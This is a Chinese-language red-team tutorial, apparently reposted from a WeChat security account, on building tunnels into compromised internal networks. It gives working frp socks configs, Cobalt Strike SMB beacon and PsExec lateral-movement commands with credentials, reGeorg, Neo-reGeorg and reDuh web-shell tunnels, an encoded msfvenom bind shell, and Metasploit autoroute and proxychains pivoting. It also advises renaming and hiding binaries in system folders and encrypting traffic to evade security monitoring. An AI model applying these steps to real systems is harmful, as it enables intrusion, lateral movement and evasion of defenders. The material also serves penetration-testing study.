本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
在内网渗透时,一个 WebShell 或 CobaltStrike、Metasploit 上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的 “专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。
以下为自我总结 “实战中内网穿透的打法” 思维导图:
这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂 socks 代理或 CobaltStrike 上线,打通目标的内网通道。
Frp 服务端配置文件:
|
|
[common]
| |
|
bind_port = 8080
|
Frp 客户端配置文件:
|
|
[common]
| |
|
server_addr = xx.xx.xx.xx
| |
|
server_port = 8080
| |
|
#服务端口使用Web常见端口
|
|
|
[socks5]
| |
|
type = tcp
| |
|
remote_port = 8088
| |
|
plugin = socks5
| |
|
use_encryption = true
| |
|
use_compression = true
| |
|
#socks5口令
| |
|
#plugin_user = SuperMan
| |
|
#plugin_passwd = XpO2McWe6nj3
|
此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。
use_encryption = true
启用加密 [通信内容加密传输,有效防止流量被拦截]
use_compression = true
启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些 CPU 资源]
use_encryption = true 、use_compression = true 必须放在相关协议下面。
frp 客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽。
这是 frp 客户端配置文件中未使用encryption
与compression
功能,利用 metasploit 挂 socks 代理,扫描 ms17_010 传输的数据包,明显可辨别出具体攻击行为。如果目标内网有” 态势感知 “、流量分析等安全设备,就会被监测到,导致权限丢失。
使用encryption
与compression
功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备。
到已控目标机的 Beacon 下将 socks 代理开启。
beacon > socks 1024 #端口根据VPS实际情况进行设置
菜单栏中的View > Proxy Pivots
,复制代理连接到 Metasploit 中,或直接将 socks4a 挂在相关安全工具中。
这是 link 链接,只要主链路 (出网机 Beacon) 掉线,均掉!
官方对 SMB Beacon 的介绍:SMB Beacon 是使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽。
创建一个 SMB 的 Listener (host 与 port 可无视),注意 Listener 选择,在 session 中选择 route 可达的主机派生会话。
运行成功后,可以看到 ∞∞ 这个字符,这就是派生 SMB Beacon 的连接状态。
可在主 Beacon 上用 link host 链接或 unlink host 断开。
|
|
beacon> link 192.168.144.155
| |
|
beacon> unlink 192.168.144.155
|
在已上线的主机创建 Listener。
导出该类型 Listener 对应的可执行文件或 dll 等。
选择刚建立的 Listener。
上传刚才生成的 payload 到当前已上线的目标机中,这里用 PsExec.exe 工具 。(CobalStrike 本身 psexec 功能不够强大)
在 Beacon 中使用 PsExec 工具将 payload 上传到不出网的目标机中,自动执行,上线。
beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe
beacon> shell netstat -ano |findstr 4444
|
|
beacon> ssh 192.168.144.174:22 root admin
| |
|
beacon> ssh 192.168.144.203:22 root admin
|
在 Linux 目标机中查看网络连接状态,实际是与之前已上线的 Windows 主机建立的连接。
目标机网络中可能有防火墙、网闸等,只允许 http 单向出,无法正常访问互联网,用上述 socks 方法是行不通的,只能用 http 代理进行渗透。
python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080
利用 metasploit 挂 reGeorg socks 代理,扫描 ms17_010 传输的数据包,明显可辨别攻击行为。
python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx
使用 Neo-reGeorg 后,数据包已被加密传输。
冰蝎的数据包传输是加密的,本身也具备 socks 代理功能,但传输过程中存在丢包情况。这里同样是利用 metasploit 探测 ms17_010 漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。
虽然冰蝎的这种代理扫描方式不如 reGeorg 准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp
。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。
当目标服务器中间件等服务版本较低,reGeorg 或冰蝎马等无法正常解析,就需要换用其它的 http 代理脚本。这是某实战中遇到的环境:
这里以 reduh 为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用 msfvenom 生成正向的 shell payload,再结合 reduh 单端口转发,上线 metasploit,最后利用 socks4a 模块开代理。
下面把具体的流程走一遍:
|
|
sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
|
|
|
--platform <platform> 指定payload的目标平台
| |
|
-e, --encoder <encoder> 指定需要使用的编码器
| |
|
-i, --iterations <count> 指定payload的编码次数
|
上传 payload 到目标服务器,并执行。
metasploit 是监听转发后的地址与端口。
|
|
sudo msfconsole -q
| |
|
msf5 > use exploit/multi/handler
| |
|
msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp
| |
|
msf5 exploit(multi/handler) > set rhost 127.0.0.1
| |
|
msf5 exploit(multi/handler) > set lport 5353
| |
|
msf5 exploit(multi/handler) > run -j
|
reDuhServer 传到目标机后,使用 reDuhClient 进行连接,并将反弹的端口转本地后,
|
|
java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx
|
|
|
telnet 127.0.0.1 1010
| |
|
>>[createTunnel]5353:127.0.0.1:53
|
可在 metasploit 渗透,或开启一个 socks4a,挂载其他安全工具上继续渗透。
|
|
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
| |
|
msf5 auxiliary(server/socks4a) > set srvport 10080
| |
|
msf5 auxiliary(server/socks4a) > run -j
|
为什么 payload 要用 shell,而不用 meterpreter。meterpreter 是高级的 payload,传输中占用大量数据包,这种单端口转发上线 metasploit,本就不是很稳定,meterpreter 会使 “小水管” 更加不稳定!
内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到 route 可达的跳板机 (多张网卡、运维机等) 的权限,建立一层二级代理、三级代理…
现拿到一台双网卡内网服务器权限,可以用 frp 建立通道,这台服务器既是服务端也是客户端。
用 frp 建立好后,结合 proxifier 添加两条代理:外网 socks、内网 socks,之后创建代理链 。(注意代理顺序)
设置代理规则,选择对应代理。
二层代理成功,内网隔离机 445 探测开放。
命令行代理神器 proxychains,设置二层代理、socks 口令。(注意代理顺序)
联动 metasploit,ms17_010 探测,可以看到代理链的传输过程。
针对 metasploit 的利用,只要 sessions 中的 route 可达,就可以直接进行多层网络渗透,更加方便。但主 session 掉,均掉!
在获取目标一个 sessions 后,可以查看 IP 段信息并自动添加路由表。
|
|
msf5 exploit(multi/handler) > sessions 1
| |
|
meterpreter > run get_local_subnets
| |
|
meterpreter > run autoroute -p
| |
|
meterpreter > run post/multi/manage/autoroute
| |
|
meterpreter > run autoroute -p
| |
|
meterpreter > background
|
上述是在 meterpreter 权限中添加,或当知道目标路由表信息时,可直接添加。
|
|
msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1
| |
|
msf5 exploit(multi/handler) > route
|
可在 metasploit 继续渗透,或开启一个 socks,挂载其他工具上多层穿透。
|
|
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
| |
|
msf5 auxiliary(server/socks4a) > set srvport 10080
| |
|
msf5 auxiliary(server/socks4a) > run -j
|
内网穿透时,代理需要稳定、隐蔽,思路更需要不断的拓宽。毕竟在实战中,多么复杂的环境都会遇到,更多的是总结不同打法,进行落地,最终将内网的 “大门” 打开!
“如侵权请私聊公众号删文”
扫描关注 LemonSec